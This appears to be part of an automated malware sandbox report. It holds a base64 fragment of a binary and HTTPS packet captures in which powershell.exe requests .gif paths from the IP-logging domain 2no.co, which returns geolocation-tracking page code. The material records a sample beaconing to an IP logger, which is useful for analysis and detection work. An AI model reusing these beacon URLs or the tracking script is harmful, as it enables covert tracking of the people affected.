                                                              Data Ascii: JQAACiD///8AKEYAAAYqAAAufpYAAAQoCQEABipWIE0AAAIgJgAACiD///8AKEMAAAYqAAA2fpcAAAQCAygNAQAGKgAAViBOAAACICQAAAYg////AChDAAAGKgAATn6YAAAEAgMEBQ4EDgUoEQEABipWIE8AAAIgJwAACiD///8AKEMAAAYqAAAyfpkAAAQCKBUBAAYqAAAAViBQAAACICgAAAog////AChDAAAGKgAANn6aAAA


                                                              HTTPS Proxied Packets

                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                              0192.168.2.649715172.67.149.764434208C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              TimestampBytes transferredDirectionData
                                                              2024-07-04 09:16:05 UTC160OUTGET /XgW3f.gif HTTP/1.1
                                                              User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682
                                                              Host: 2no.co
                                                              Connection: Keep-Alive
                                                              2024-07-04 09:16:05 UTC1230INHTTP/1.1 200 OK
                                                              Date: Thu, 04 Jul 2024 09:16:05 GMT
                                                              Content-Type: text/html; charset=UTF-8
                                                              Transfer-Encoding: chunked
                                                              Connection: close
                                                              memory: 0.48673248291015625
                                                              expires: Thu, 04 Jul 2024 09:16:05 +0000
                                                              strict-transport-security: max-age=604800
                                                              strict-transport-security: max-age=31536000
                                                              content-security-policy: img-src https: data:; upgrade-insecure-requests
                                                              x-frame-options: SAMEORIGIN
                                                              CF-Cache-Status: BYPASS
                                                              Set-Cookie: 54645330137263905=3; expires=Fri, 04 Jul 2025 09:16:05 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict
                                                              Set-Cookie: clhf03028ja=8.46.123.33; expires=Fri, 04 Jul 2025 09:16:05 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict
                                                              Set-Cookie: unikey=unikey_ba5a37f252cade6e59ffacb37391a0bcfacbb1a5cc6f107e1a94899d9e0c692f; path=/; secure; HttpOnly; SameSite=Strict
                                                              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KF8YM2pqt42Jhe3yZgdjJzImEAanLKyJDjkjgPkykIMIfVmOH%2FFoF8yYwH%2FfRC6wMIiLRZB9fV118b6ejAwgBVvE%2BzxkmgaNLnZX8%2FoLmckGNR5jAeFElSs%3D"}],"group":"cf-nel","max_age":604800}
                                                              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                              Server: cloudflare
                                                              CF-RAY: 89de03b52f1042eb-EWR
                                                              alt-svc: h3=":443"; ma=86400
                                                              2024-07-04 09:16:05 UTC139INData Raw: 32 39 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 75 73 22 20 63 6c 61 73 73 3d 22 68 74 6d 6c 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 42 72 61 6e 64 65 64 20 53 68 6f 72 74 20 44 6f 6d 61 69 6e 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74
                                                              Data Ascii: 294f<!DOCTYPE html><html lang="us" class="html"><head><title>Branded Short Domain</title><meta http-equiv="content-type" content="t
                                                              2024-07-04 09:16:05 UTC1369INData Raw: 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 44 65 6f 72 67 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69
                                                              Data Ascii: ext/html; charset=utf-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=yes"><meta name="author" content="Deorg" /><meta name="copyright" content="Copyri
                                                              2024-07-04 09:16:05 UTC1369INData Raw: 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 70 78 3b 63 6f 6c 6f 72 3a 23 32 35 32 35 32 35 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 35 45 35 45 35 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 30 2e 32 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 65 6d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 38 30 30 70 78 29 7b 62 6f 64 79 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 7d 7d 23 6c 6f 61 64 65 72 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 30 70
                                                              Data Ascii: h:100%;height:100%;position:relative;margin:0;padding:0px;color:#252525;background:#E5E5E5;font-family:Helvetica,Arial,sans-serif;letter-spacing:0.2px;font-size:1em}@media screen and (max-width:800px){body{font-size:1.2em}}#loader{position:absolute;top:0p
                                                              2024-07-04 09:16:05 UTC1369INData Raw: 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 0a 09 23 6d 79 6d 61 70 3a 65 6d 70 74 79 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 57 61 69 74 69 6e 67 20 66 6f 72 20 61 20 6c 6f 63 61 74 69 6f 6e 20 74 6f 20 64 69 73 70 6c 61 79 20 74 68 65 20 6d 61 70 2e 2e 2e 22 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 77 69 64 74 68 3a 32 35 30 70 78 3b 74 6f 70 3a 32 35 25 3b 6c 65 66 74 3a 63 61 6c 63 28 35 30 25 20 2d 20 31 32 35 70 78 29 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 34 70 78 3b 63 6f 6c 6f 72 3a 23 38 31 38 31 38 31 7d 0a 09 23 6d 65 7b 62 6f 72 64 65 72 3a 31 70 78 20 64 61 73 68 65 64 20 62 6c 61 63 6b 3b 68 65 69 67 68 74 3a 34 30
                                                              Data Ascii: ;height:100%;position:relative}#mymap:empty:before{content:"Waiting for a location to display the map...";position:absolute;width:250px;top:25%;left:calc(50% - 125px);text-align:center;font-size:24px;color:#818181}#me{border:1px dashed black;height:40
                                                              2024-07-04 09:16:05 UTC1369INData Raw: 6f 70 65 6e 28 27 50 4f 53 54 27 2c 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 29 2c 78 2e 73 65 74 52 65 71 75 65 73 74 48 65 61 64 65 72 28 27 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 27 2c 27 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 27 29 2c 78 2e 73 65 74 52 65 71 75 65 73 74 48 65 61 64 65 72 28 22 41 63 63 65 70 74 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 29 2c 78 2e 73 65 74 52 65 71 75 65 73 74 48 65 61 64 65 72 28 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 29 2c 78 2e 73 65 6e 64 28 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 64 61 74 61 29 29 2c 78 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 6a 73 6f 6e 29 7b 69 66 28 74 68 69 73 2e 72 65 61 64 79 53 74
                                                              Data Ascii: open('POST',window.location),x.setRequestHeader('X-Requested-With','XMLHttpRequest'),x.setRequestHeader("Accept","application/json"),x.setRequestHeader("Content-Type","application/json"),x.send(JSON.stringify(data)),x.onload=function(json){if(this.readySt
                                                              2024-07-04 09:16:05 UTC1369INData Raw: 20 74 68 65 20 6d 6f 73 74 20 63 6f 6e 76 65 6e 69 65 6e 74 20 77 61 79 20 66 6f 72 20 79 6f 75 72 20 6d 65 65 74 69 6e 67 20 6c 6f 63 61 74 69 6f 6e 2e 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 3c 2f 74 64 3e 0a 09 3c 2f 74 72 3e 0a 09 3c 74 72 3e 0a 09 09 3c 74 64 20 69 64 3d 27 66 6f 6f 74 65 72 27 3e 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 27 63 6f 6e 74 65 6e 74 27 3e 42 65 20 63 61 72 65 66 75 6c 20 61 6e 64 20 64 6f 20 6e 6f 74 20 73 68 61 72 65 20 79 6f 75 72 20 6c 6f 63 61 74 69 6f 6e 20 77 69 74 68 20 73 74 72 61 6e 67 65 72 73 20 66 6f 72 20 79 6f 75 72 20 73 61 66 65 74 79 21 20 50 6c 65 61 73 65 20 72 65 61 64 20 6f 75 72 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 70 6c 6f 67 67 65 72 2e 6f 72 67 2f 70 72 69 76 61 63 79 2f 22
                                                              Data Ascii: the most convenient way for your meeting location.</div></td></tr><tr><td id='footer'><div class='content'>Be careful and do not share your location with strangers for your safety! Please read our <a href="https://iplogger.org/privacy/"
                                                              2024-07-04 09:16:05 UTC1369INData Raw: 52 2a 63 29 2f 31 30 30 30 29 2e 74 6f 46 69 78 65 64 28 32 29 3b 0a 09 7d 3b 0a 0a 09 66 75 6e 63 74 69 6f 6e 20 67 72 6f 75 74 65 72 28 6c 69 6e 6b 29 7b 0a 09 09 76 61 72 20 4d 62 75 74 74 6f 6e 20 3d 20 4c 2e 63 6f 6e 74 72 6f 6c 28 7b 0a 09 09 09 70 6f 73 69 74 69 6f 6e 3a 20 27 74 6f 70 72 69 67 68 74 27 0a 09 09 7d 29 3b 0a 09 09 4d 62 75 74 74 6f 6e 2e 6f 6e 41 64 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 6d 61 70 29 20 7b 0a 09 09 09 74 68 69 73 2e 5f 64 69 76 20 3d 20 4c 2e 44 6f 6d 55 74 69 6c 2e 63 72 65 61 74 65 28 27 64 69 76 27 2c 20 27 69 70 6c 6f 67 67 65 72 2d 62 75 74 74 6f 6e 27 29 3b 0a 09 09 09 74 68 69 73 2e 5f 64 69 76 2e 69 6e 6e 65 72 48 54 4d 4c 20 3d 20 5f 4c 41 4e 47 2e 72 6f 75 74 65 3b 0a 20 20 20 20 20 20 20 20 09 74 68 69 73
                                                              Data Ascii: R*c)/1000).toFixed(2);};function grouter(link){var Mbutton = L.control({position: 'topright'});Mbutton.onAdd = function(map) {this._div = L.DomUtil.create('div', 'iplogger-button');this._div.innerHTML = _LANG.route; this
                                                              2024-07-04 09:16:05 UTC1369INData Raw: 70 75 70 28 29 3b 0a 09 09 72 65 74 75 72 6e 20 6d 61 72 6b 65 72 3b 0a 09 7d 0a 09 66 75 6e 63 74 69 6f 6e 20 77 61 74 63 68 44 6f 67 28 64 61 74 61 29 7b 0a 09 09 69 66 28 64 61 74 61 26 26 64 61 74 61 2e 63 6f 6f 72 64 73 29 7b 0a 09 09 09 76 61 72 20 74 3d 2b 6e 65 77 20 44 61 74 65 28 29 3b 0a 09 09 09 74 3d 4d 61 74 68 2e 63 65 69 6c 28 74 2f 31 30 30 30 29 3b 0a 09 09 09 6d 65 2e 74 69 6d 65 3d 74 3b 0a 09 09 09 6d 65 2e 6c 61 74 3d 64 61 74 61 2e 63 6f 6f 72 64 73 2e 6c 61 74 69 74 75 64 65 3b 0a 09 09 09 6d 65 2e 6c 6e 67 3d 64 61 74 61 2e 63 6f 6f 72 64 73 2e 6c 6f 6e 67 69 74 75 64 65 3b 0a 09 09 09 6d 65 2e 61 63 63 3d 2b 4d 61 74 68 2e 63 65 69 6c 28 64 61 74 61 2e 63 6f 6f 72 64 73 2e 61 63 63 75 72 61 63 79 29 3b 0a 09 09 7d 0a 0a 09 09 6d
                                                              Data Ascii: pup();return marker;}function watchDog(data){if(data&&data.coords){var t=+new Date();t=Math.ceil(t/1000);me.time=t;me.lat=data.coords.latitude;me.lng=data.coords.longitude;me.acc=+Math.ceil(data.coords.accuracy);}m
                                                              2024-07-04 09:16:05 UTC861INData Raw: 63 6f 75 6e 74 72 79 20 3d 20 6a 73 6f 6e 2e 61 64 64 72 65 73 73 2e 63 6f 75 6e 74 72 79 5f 63 6f 64 65 3b 0a 09 09 09 09 09 7d 0a 09 09 09 09 09 69 66 28 6a 73 6f 6e 2e 61 64 64 72 65 73 73 2e 63 69 74 79 29 20 7b 0a 09 09 09 09 09 09 6d 65 2e 63 69 74 79 20 3d 20 6a 73 6f 6e 2e 61 64 64 72 65 73 73 2e 63 69 74 79 3b 0a 09 09 09 09 09 7d 0a 09 09 09 09 7d 0a 09 09 09 7d 20 63 61 74 63 68 28 65 29 20 7b 7d 0a 0a 09 09 09 5f 78 28 27 6d 61 70 27 2c 20 6d 65 29 3b 0a 09 09 7d 3b 0a 09 09 78 68 72 2e 73 65 6e 64 28 29 3b 0a 0a 09 7d 0a 0a 20 20 20 20 69 66 28 74 79 70 65 6f 66 28 6e 61 76 69 67 61 74 6f 72 2e 67 65 6f 6c 6f 63 61 74 69 6f 6e 29 20 3d 3d 20 27 6f 62 6a 65 63 74 27 29 20 7b 0a 09 09 6e 61 76 69 67 61 74 6f 72 2e 67 65 6f 6c 6f 63 61 74 69 6f
                                                              Data Ascii: country = json.address.country_code;}if(json.address.city) {me.city = json.address.city;}}} catch(e) {}_x('map', me);};xhr.send();} if(typeof(navigator.geolocation) == 'object') {navigator.geolocatio
                                                              2024-07-04 09:16:05 UTC5INData Raw: 30 0d 0a 0d 0a
                                                              Data Ascii: 0


                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                              1192.168.2.649730172.67.149.764436600C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              TimestampBytes transferredDirectionData
                                                              2024-07-04 09:16:21 UTC160OUTGET /XgzVd.gif HTTP/1.1
                                                              User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682
                                                              Host: 2no.co
                                                              Connection: Keep-Alive
                                                              2024-07-04 09:16:21 UTC1221INHTTP/1.1 200 OK
                                                              Date: Thu, 04 Jul 2024 09:16:21 GMT
                                                              Content-Type: text/html; charset=UTF-8
                                                              Transfer-Encoding: chunked
                                                              Connection: close
                                                              memory: 0.4243927001953125
                                                              expires: Thu, 04 Jul 2024 09:16:21 +0000
                                                              strict-transport-security: max-age=604800
                                                              strict-transport-security: max-age=31536000
                                                              content-security-policy: img-src https: data:; upgrade-insecure-requests
                                                              x-frame-options: SAMEORIGIN
                                                              CF-Cache-Status: BYPASS
                                                              Set-Cookie: 54633112137263905=3; expires=Fri, 04 Jul 2025 09:16:21 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict
                                                              Set-Cookie: clhf03028ja=8.46.123.33; expires=Fri, 04 Jul 2025 09:16:21 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict
                                                              Set-Cookie: unikey=unikey_13b45afac29be6d1614b219f59447661831c5dcac1e5a1fff7edff04d942edff; path=/; secure; HttpOnly; SameSite=Strict
                                                              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dO2YKceY9H4XaD8nNRhpofYjpO8MIVr6yXURhpK8CNkImj2D6RpTM1GCHXjr0vHxuJZuydu1M1BOzbpxHNdkjbyCs93Wc4hibRqVnipXLvO7laZpJPYhzzc%3D"}],"group":"cf-nel","max_age":604800}
                                                              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                              Server: cloudflare
                                                              CF-RAY: 89de04197e1c439f-EWR
                                                              alt-svc: h3=":443"; ma=86400
                                                              2024-07-04 09:16:21 UTC148INData Raw: 32 39 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 75 73 22 20 63 6c 61 73 73 3d 22 68 74 6d 6c 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 42 72 61 6e 64 65 64 20 53 68 6f 72 74 20 44 6f 6d 61 69 6e 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b
                                                              Data Ascii: 294f<!DOCTYPE html><html lang="us" class="html"><head><title>Branded Short Domain</title><meta http-equiv="content-type" content="text/html;
                                                              2024-07-04 09:16:21 UTC1369INData Raw: 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 44 65 6f 72 67 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 c2 a9 20 49 50
                                                              Data Ascii: charset=utf-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=yes"><meta name="author" content="Deorg" /><meta name="copyright" content="Copyright IP
                                                              2024-07-04 09:16:21 UTC1369INData Raw: 69 67 68 74 3a 31 30 30 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 70 78 3b 63 6f 6c 6f 72 3a 23 32 35 32 35 32 35 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 35 45 35 45 35 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 30 2e 32 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 65 6d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 38 30 30 70 78 29 7b 62 6f 64 79 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 7d 7d 23 6c 6f 61 64 65 72 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 30 70 78 3b 6c 65 66 74 3a 30 70
                                                              Data Ascii: ight:100%;position:relative;margin:0;padding:0px;color:#252525;background:#E5E5E5;font-family:Helvetica,Arial,sans-serif;letter-spacing:0.2px;font-size:1em}@media screen and (max-width:800px){body{font-size:1.2em}}#loader{position:absolute;top:0px;left:0p
                                                              2024-07-04 09:16:21 UTC1369INData Raw: 30 30 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 0a 09 23 6d 79 6d 61 70 3a 65 6d 70 74 79 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 57 61 69 74 69 6e 67 20 66 6f 72 20 61 20 6c 6f 63 61 74 69 6f 6e 20 74 6f 20 64 69 73 70 6c 61 79 20 74 68 65 20 6d 61 70 2e 2e 2e 22 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 77 69 64 74 68 3a 32 35 30 70 78 3b 74 6f 70 3a 32 35 25 3b 6c 65 66 74 3a 63 61 6c 63 28 35 30 25 20 2d 20 31 32 35 70 78 29 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 34 70 78 3b 63 6f 6c 6f 72 3a 23 38 31 38 31 38 31 7d 0a 09 23 6d 65 7b 62 6f 72 64 65 72 3a 31 70 78 20 64 61 73 68 65 64 20 62 6c 61 63 6b 3b 68 65 69 67 68 74 3a 34 30 70 78 3b 6c 69 6e 65 2d 68
                                                              Data Ascii: 00%;position:relative}#mymap:empty:before{content:"Waiting for a location to display the map...";position:absolute;width:250px;top:25%;left:calc(50% - 125px);text-align:center;font-size:24px;color:#818181}#me{border:1px dashed black;height:40px;line-h
                                                              2024-07-04 09:16:21 UTC1369INData Raw: 54 27 2c 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 29 2c 78 2e 73 65 74 52 65 71 75 65 73 74 48 65 61 64 65 72 28 27 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 27 2c 27 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 27 29 2c 78 2e 73 65 74 52 65 71 75 65 73 74 48 65 61 64 65 72 28 22 41 63 63 65 70 74 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 29 2c 78 2e 73 65 74 52 65 71 75 65 73 74 48 65 61 64 65 72 28 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 29 2c 78 2e 73 65 6e 64 28 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 64 61 74 61 29 29 2c 78 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 6a 73 6f 6e 29 7b 69 66 28 74 68 69 73 2e 72 65 61 64 79 53 74 61 74 65 21 3d 34 29 72 65
                                                              Data Ascii: T',window.location),x.setRequestHeader('X-Requested-With','XMLHttpRequest'),x.setRequestHeader("Accept","application/json"),x.setRequestHeader("Content-Type","application/json"),x.send(JSON.stringify(data)),x.onload=function(json){if(this.readyState!=4)re
                                                              2024-07-04 09:16:21 UTC1369INData Raw: 20 63 6f 6e 76 65 6e 69 65 6e 74 20 77 61 79 20 66 6f 72 20 79 6f 75 72 20 6d 65 65 74 69 6e 67 20 6c 6f 63 61 74 69 6f 6e 2e 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 3c 2f 74 64 3e 0a 09 3c 2f 74 72 3e 0a 09 3c 74 72 3e 0a 09 09 3c 74 64 20 69 64 3d 27 66 6f 6f 74 65 72 27 3e 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 27 63 6f 6e 74 65 6e 74 27 3e 42 65 20 63 61 72 65 66 75 6c 20 61 6e 64 20 64 6f 20 6e 6f 74 20 73 68 61 72 65 20 79 6f 75 72 20 6c 6f 63 61 74 69 6f 6e 20 77 69 74 68 20 73 74 72 61 6e 67 65 72 73 20 66 6f 72 20 79 6f 75 72 20 73 61 66 65 74 79 21 20 50 6c 65 61 73 65 20 72 65 61 64 20 6f 75 72 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 70 6c 6f 67 67 65 72 2e 6f 72 67 2f 70 72 69 76 61 63 79 2f 22 20 74 61 72 67 65 74 3d 5f
                                                              Data Ascii: convenient way for your meeting location.</div></td></tr><tr><td id='footer'><div class='content'>Be careful and do not share your location with strangers for your safety! Please read our <a href="https://iplogger.org/privacy/" target=_
                                                              2024-07-04 09:16:21 UTC1369INData Raw: 29 2e 74 6f 46 69 78 65 64 28 32 29 3b 0a 09 7d 3b 0a 0a 09 66 75 6e 63 74 69 6f 6e 20 67 72 6f 75 74 65 72 28 6c 69 6e 6b 29 7b 0a 09 09 76 61 72 20 4d 62 75 74 74 6f 6e 20 3d 20 4c 2e 63 6f 6e 74 72 6f 6c 28 7b 0a 09 09 09 70 6f 73 69 74 69 6f 6e 3a 20 27 74 6f 70 72 69 67 68 74 27 0a 09 09 7d 29 3b 0a 09 09 4d 62 75 74 74 6f 6e 2e 6f 6e 41 64 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 6d 61 70 29 20 7b 0a 09 09 09 74 68 69 73 2e 5f 64 69 76 20 3d 20 4c 2e 44 6f 6d 55 74 69 6c 2e 63 72 65 61 74 65 28 27 64 69 76 27 2c 20 27 69 70 6c 6f 67 67 65 72 2d 62 75 74 74 6f 6e 27 29 3b 0a 09 09 09 74 68 69 73 2e 5f 64 69 76 2e 69 6e 6e 65 72 48 54 4d 4c 20 3d 20 5f 4c 41 4e 47 2e 72 6f 75 74 65 3b 0a 20 20 20 20 20 20 20 20 09 74 68 69 73 2e 5f 64 69 76 2e 6f 6e 63
                                                              Data Ascii: ).toFixed(2);};function grouter(link){var Mbutton = L.control({position: 'topright'});Mbutton.onAdd = function(map) {this._div = L.DomUtil.create('div', 'iplogger-button');this._div.innerHTML = _LANG.route; this._div.onc
                                                              2024-07-04 09:16:21 UTC1369INData Raw: 72 65 74 75 72 6e 20 6d 61 72 6b 65 72 3b 0a 09 7d 0a 09 66 75 6e 63 74 69 6f 6e 20 77 61 74 63 68 44 6f 67 28 64 61 74 61 29 7b 0a 09 09 69 66 28 64 61 74 61 26 26 64 61 74 61 2e 63 6f 6f 72 64 73 29 7b 0a 09 09 09 76 61 72 20 74 3d 2b 6e 65 77 20 44 61 74 65 28 29 3b 0a 09 09 09 74 3d 4d 61 74 68 2e 63 65 69 6c 28 74 2f 31 30 30 30 29 3b 0a 09 09 09 6d 65 2e 74 69 6d 65 3d 74 3b 0a 09 09 09 6d 65 2e 6c 61 74 3d 64 61 74 61 2e 63 6f 6f 72 64 73 2e 6c 61 74 69 74 75 64 65 3b 0a 09 09 09 6d 65 2e 6c 6e 67 3d 64 61 74 61 2e 63 6f 6f 72 64 73 2e 6c 6f 6e 67 69 74 75 64 65 3b 0a 09 09 09 6d 65 2e 61 63 63 3d 2b 4d 61 74 68 2e 63 65 69 6c 28 64 61 74 61 2e 63 6f 6f 72 64 73 2e 61 63 63 75 72 61 63 79 29 3b 0a 09 09 7d 0a 0a 09 09 6d 65 2e 7a 6f 6f 6d 20 3d 20
                                                              Data Ascii: return marker;}function watchDog(data){if(data&&data.coords){var t=+new Date();t=Math.ceil(t/1000);me.time=t;me.lat=data.coords.latitude;me.lng=data.coords.longitude;me.acc=+Math.ceil(data.coords.accuracy);}me.zoom =
                                                              2024-07-04 09:16:21 UTC852INData Raw: 20 6a 73 6f 6e 2e 61 64 64 72 65 73 73 2e 63 6f 75 6e 74 72 79 5f 63 6f 64 65 3b 0a 09 09 09 09 09 7d 0a 09 09 09 09 09 69 66 28 6a 73 6f 6e 2e 61 64 64 72 65 73 73 2e 63 69 74 79 29 20 7b 0a 09 09 09 09 09 09 6d 65 2e 63 69 74 79 20 3d 20 6a 73 6f 6e 2e 61 64 64 72 65 73 73 2e 63 69 74 79 3b 0a 09 09 09 09 09 7d 0a 09 09 09 09 7d 0a 09 09 09 7d 20 63 61 74 63 68 28 65 29 20 7b 7d 0a 0a 09 09 09 5f 78 28 27 6d 61 70 27 2c 20 6d 65 29 3b 0a 09 09 7d 3b 0a 09 09 78 68 72 2e 73 65 6e 64 28 29 3b 0a 0a 09 7d 0a 0a 20 20 20 20 69 66 28 74 79 70 65 6f 66 28 6e 61 76 69 67 61 74 6f 72 2e 67 65 6f 6c 6f 63 61 74 69 6f 6e 29 20 3d 3d 20 27 6f 62 6a 65 63 74 27 29 20 7b 0a 09 09 6e 61 76 69 67 61 74 6f 72 2e 67 65 6f 6c 6f 63 61 74 69 6f 6e 2e 67 65 74 43 75 72 72
                                                              Data Ascii: json.address.country_code;}if(json.address.city) {me.city = json.address.city;}}} catch(e) {}_x('map', me);};xhr.send();} if(typeof(navigator.geolocation) == 'object') {navigator.geolocation.getCurr
